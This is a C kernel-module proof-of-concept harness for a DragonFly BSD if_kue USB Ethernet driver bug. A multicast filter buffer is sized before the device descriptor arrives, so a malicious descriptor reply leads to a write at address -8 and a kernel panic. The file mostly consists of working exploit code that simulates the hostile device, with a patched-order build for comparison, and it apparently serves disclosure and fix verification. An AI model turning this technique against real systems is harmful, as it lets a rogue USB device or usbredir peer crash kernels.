/* * DF-2340 PoC harness — if_kue.c: kue_setmulti() writes multicast filter * entries through sc->sc_mcfilters, which kue_attach() allocated BEFORE * the ethernet descriptor was fetched. * * TARGET (stock sys/bus/u4b/net/if_kue.c): * * 488: sc->sc_mcfilters = kmalloc(KUE_MCFILTCNT(sc) * ETHER_ADDR_LEN, * 489: M_USBDEV, M_WAITOK); * 490: if (sc->sc_mcfilters == NULL) { <- dead guard * * KUE_MCFILTCNT(sc) is UGETW(sc->sc_desc.kue_mcastfilt) & 0x7FFF * (if_kuereg.h:69). At if_kue.c:488 the descriptor has NOT been read * yet: it is fetched much later, in kue_attach_post() (if_kue.c:439-440, * "read ethernet descriptor"), which uether_ifattach() only queues as an * async post-attach task (usb_ethernet.c:182 -> :192-203 -> :202 calls * ue_methods->ue_attach_post). The newbus softc is zero-initialized, * so KUE_MCFILTCNT(sc) == 0 and the allocation is * * kmalloc(0, M_USBDEV, M_WAITOK) * -> ZERO_LENGTH_PTR == (void *)-8 (kern_slaballoc.c:193,885-890) * * -8 is not NULL, so the :490 guard does not fire. kfree() treats the * sentinel as a no-op (kern_slaballoc.c:1253), so detach is "safe" and * the landmine stays armed. * * When the device later answers GET_ETHER_DESCRIPTOR with * kue_mcastfilt != 0 (fully device-controlled 16-byte reply; comment in * if_kue.c:50-52: "the exact size of the filter can depend on the * firmware"), every SIOCADDMULTI/SIOCDELMULTI (uether_ifioctl, * usb_ethernet.c:497-502) queues ue_setmulti_task which calls the * driver's kue_setmulti() under the ue lock: * * 373: TAILQ_FOREACH(ifma, &ifp->if_multiaddrs, ifma_link) * 381: if (i == KUE_MCFILTCNT(sc)) <- NOW the device value * 383: memcpy(KUE_MCFILT(sc, i), <- &sc_mcfilters[i*6] * 384: LLADDR(...), ETHER_ADDR_LEN); * * The bound is re-evaluated from the *now-populated* descriptor while the * buffer was sized for the *zero* one, so the first membership entry * memcpy()s 6 bytes to (char *)-8 + 0 == 0xfffffffffffffff8 — the top of * the kernel VA space, unmapped -> deterministic page fault (panic). * * This harness compiles the VERBATIM production driver into the KLD * (#include below — nothing in it is modified) * and then: * * 1. reconstructs the exact post-attach softc state (zeroed softc = * newbus M_ZERO softc; lockinit per if_kue.c:478; ue_sc per :495; * ue_tq left in the usb_proc_drain() state (up_gone=1, * usb_process.c:422) so the trailing kue_ctl/kue_setword control * requests — which the fault precedes — return USB_ERR_IOERROR * harmlessly, exactly as they do while a real device is detaching), * 2. replays if_kue.c:488-489 at its TRUE position in the sequence — * while sc_desc is still all-zero (the allocation the driver makes), * 3. replays the 16-byte device-controlled GET_ETHER_DESCRIPTOR reply * landing in sc_desc (if_kue.c:439-440), * 4. builds the ifnet state that uether_ifattach(ue) left behind — * the embedded arpcom ifnet with ONE AF_LINK multicast membership, * byte-identical to what if_addmulti_serialized() (sys/net/if.c: * 2667-2720) leaves in if_multiaddrs after SIOCADDMULTI of * 01:00:5e:00:00:01 (or the automatic IPv6 all-nodes join), * 5. takes the ue lock (production: ue_setmulti_task runs under * UE_LOCK, usb_ethernet.c:398-405) and calls the VERBATIM static * kue_setmulti(&sc->sc_ue). * * Expected on stock /usr/src: Fatal trap 12, fault VA 0xfffffffffffffff8. * Expected on fixed /usr/src: "SURVIVED kue_setmulti()" + clean unload. * (built with -DDF2340_FIXED, the harness allocates in the PATCHED order * — after the descriptor reply — which is the entire content of the fix). * * The only non-production code is the attach-frame plumbing around the * driver functions (kue_attach/kue_setmulti are static and need a real * KL5KUSB101B USB device to be reached through newbus); every byte the * PoC copies, allocates and faults on follows the production call chain. */ #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include /* if_kuereg.h / usb_ethernet.h have no include guards — they are pulled * in (once) by the verbatim driver include below. */ /* kern_slaballoc.c:193 — not exported in any public header */ #define DF_ZERO_LENGTH_PTR ((void *)-8) /* ------------------------------------------------------------------ */ /* THE VERBATIM PRODUCTION DRIVER — compiled from /usr/src/sys, */ /* unmodified. kue_setmulti/kue_ctl/kue_setword/kue_do_request below */ /* are the driver's own static functions. */ /* ------------------------------------------------------------------ */ #include /* * The 16-byte GET_ETHER_DESCRIPTOR reply an evil KL5KUSB101B (or a * usbredir peer) returns for the vendor control request issued at * if_kue.c:439-440. Everything in it is device-controlled; we set * kue_mcastfilt = 0x0002 so KUE_MCFILTCNT(sc) == 2 after arrival. */ static void df2340_device_descriptor_reply(struct kue_softc *sc) { memset(&sc->sc_desc, 0, sizeof(sc->sc_desc)); sc->sc_desc.kue_len = 16; /* sizeof(kue_ether_desc) */ memcpy(sc->sc_desc.kue_macaddr, "\x02\x00\xde\xad\xbe\xef", ETHER_ADDR_LEN); sc->sc_desc.kue_mcastfilt[0] = 0x02; /* LE16 0x0002 */ sc->sc_desc.kue_mcastfilt[1] = 0x00; } /* * One AF_LINK multicast membership, exactly as if_addmulti_serialized() * (sys/net/if.c:2688-2720) leaves it: kmalloc'd ifmultiaddr + duplicated * sockaddr_dl, ifma_refcount=1, TAILQ_INSERT'ed into ifp->if_multiaddrs. * kue_setmulti()'s TAILQ_FOREACH sees precisely this. */ static void df2340_add_membership(struct ifnet *ifp, const uint8_t mac[ETHER_ADDR_LEN]) { struct ifmultiaddr *ifma; struct sockaddr_dl *sdl; sdl = kmalloc(sizeof(*sdl), M_IFMADDR, M_WAITOK | M_ZERO); sdl->sdl_len = sizeof(*sdl); sdl->sdl_family = AF_LINK; sdl->sdl_index = ifp->if_index; sdl->sdl_type = IFT_ETHER; sdl->sdl_nlen = 0; /* LLADDR(sdl) == sdl_data */ sdl->sdl_alen = ETHER_ADDR_LEN; memcpy(LLADDR(sdl), mac, ETHER_ADDR_LEN); ifma = kmalloc(sizeof(*ifma), M_IFMADDR, M_WAITOK | M_ZERO); ifma->ifma_addr = (struct sockaddr *)sdl; ifma->ifma_ifp = ifp; ifma->ifma_refcount = 1; TAILQ_INSERT_TAIL(&ifp->if_multiaddrs, ifma, ifma_link); } static int kue_poc_modevent(module_t mod, int type, void *arg) { struct kue_softc *sc; struct ifnet *ifp; struct ifmultiaddr *ifma; switch (type) { case MOD_LOAD: /* ------------------------------------------------------------------ * (1) post-kue_attach softc: newbus softcs are M_ZERO'ed; * if_kue.c:478 lockinit is the only init before :488. * ------------------------------------------------------------------ */ sc = kmalloc(sizeof(*sc), M_TEMP, M_WAITOK | M_ZERO); lockinit(&sc->sc_lock, "kue_poc", 0, LK_CANRECURSE); sc->sc_ue.ue_sc = sc; /* if_kue.c:495 */ /* * usb_proc_drain() state (usb_process.c:422): makes * uether_do_request() -> usbd_do_request_proc() return * USB_ERR_IOERROR without touching ue_udev — identical to * the error path a real device takes while detaching. */ sc->sc_ue.ue_tq.up_gone = 1; /* ------------------------------------------------------------------ * (2)+(3) THE ORDERING BUG. Stock driver (if_kue.c:488-489) * allocates HERE, while sc_desc is still all-zero: * kmalloc(0 * 6 == 0, M_USBDEV, M_WAITOK) -> ZERO_LENGTH_PTR. * Fixed driver allocates only AFTER (3). Build with * -DDF2340_FIXED to replay the patched order. * ------------------------------------------------------------------ */ #ifndef DF2340_FIXED sc->sc_mcfilters = kmalloc(KUE_MCFILTCNT(sc) * ETHER_ADDR_LEN, M_USBDEV, M_WAITOK); kprintf("kue_poc: if_kue.c:488 with sc_desc all-zero: " "kmalloc(0*%d) -> sc_mcfilters=%p (ZERO_LENGTH_PTR=%p, " "NULL-guard at :490 %s)\n", ETHER_ADDR_LEN, sc->sc_mcfilters, DF_ZERO_LENGTH_PTR, sc->sc_mcfilters == DF_ZERO_LENGTH_PTR ? "DEAD" : "???"); if (sc->sc_mcfilters == NULL) { /* if_kue.c:490 */ kprintf("kue_poc: kmalloc returned NULL (?!) — abort\n"); kfree(sc, M_TEMP); return (ENXIO); } df2340_device_descriptor_reply(sc); /* if_kue.c:439-440 */ #else df2340_device_descriptor_reply(sc); /* if_kue.c:439-440 */ sc->sc_mcfilters = kmalloc(KUE_MCFILTCNT(sc) * ETHER_ADDR_LEN, M_USBDEV, M_WAITOK | M_ZERO); /* patched kue_attach_post */ kprintf("kue_poc: PATCHED order: descriptor first " "(KUE_MCFILTCNT=%d), then kmalloc(%d) -> sc_mcfilters=%p\n", KUE_MCFILTCNT(sc), KUE_MCFILTCNT(sc) * ETHER_ADDR_LEN, sc->sc_mcfilters); #endif kprintf("kue_poc: descriptor arrived: KUE_MCFILTCNT(sc)=%d " "(was 0 at allocation time in the stock driver)\n", KUE_MCFILTCNT(sc)); /* ------------------------------------------------------------------ * (4) post-uether_ifattach ifnet: the embedded arpcom ifnet * (uether_getifp, usb_ethernet.c:134-137) with one * AF_LINK membership (01:00:5e:00:00:01). * ------------------------------------------------------------------ */ ifp = uether_getifp(&sc->sc_ue); TAILQ_INIT(&ifp->if_multiaddrs); ifp->if_flags = IFF_UP | IFF_RUNNING; /* no ALLMULTI/PROMISC */ df2340_add_membership(ifp, (const uint8_t []){0x01,0x00,0x5e,0x00,0x00,0x01}); /* ------------------------------------------------------------------ * (5) production entry: ue_setmulti_task holds UE_LOCK * (usb_ethernet.c:61,398-405) -> kue_setmulti(). * ------------------------------------------------------------------ */ kprintf("kue_poc: entering VERBATIM kue_setmulti() " "(if_kue.c:355-398): memcpy(KUE_MCFILT(sc,0)=%p, ..., 6)\n", (void *)KUE_MCFILT(sc, 0)); KUE_LOCK(sc); kue_setmulti(&sc->sc_ue); KUE_UNLOCK(sc); kprintf("kue_poc: SURVIVED kue_setmulti() — buffer was " "properly sized (fix in effect?)\n"); /* clean up (only reachable in the fixed/SURVIVED case) */ while ((ifma = TAILQ_FIRST(&ifp->if_multiaddrs)) != NULL) { TAILQ_REMOVE(&ifp->if_multiaddrs, ifma, ifma_link); kfree(ifma->ifma_addr, M_IFMADDR); kfree(ifma, M_IFMADDR); } kfree(sc->sc_mcfilters, M_USBDEV); lockuninit(&sc->sc_lock); kfree(sc, M_TEMP); return (0); default: return (0); } } static moduledata_t kue_poc_mod = { "kue_poc", kue_poc_modevent, NULL }; /* * NOTE: including if_kue.c also registers the real "kue" driver module * (DRIVER_MODULE(kue, uhub, ...) — same as kldload-ing if_kue.ko; no * kue device is present so its probe never matches). */ DECLARE_MODULE(kue_poc, kue_poc_mod, SI_SUB_DRIVERS, SI_ORDER_ANY); MODULE_DEPEND(kue_poc, uether, 1, 1, 1);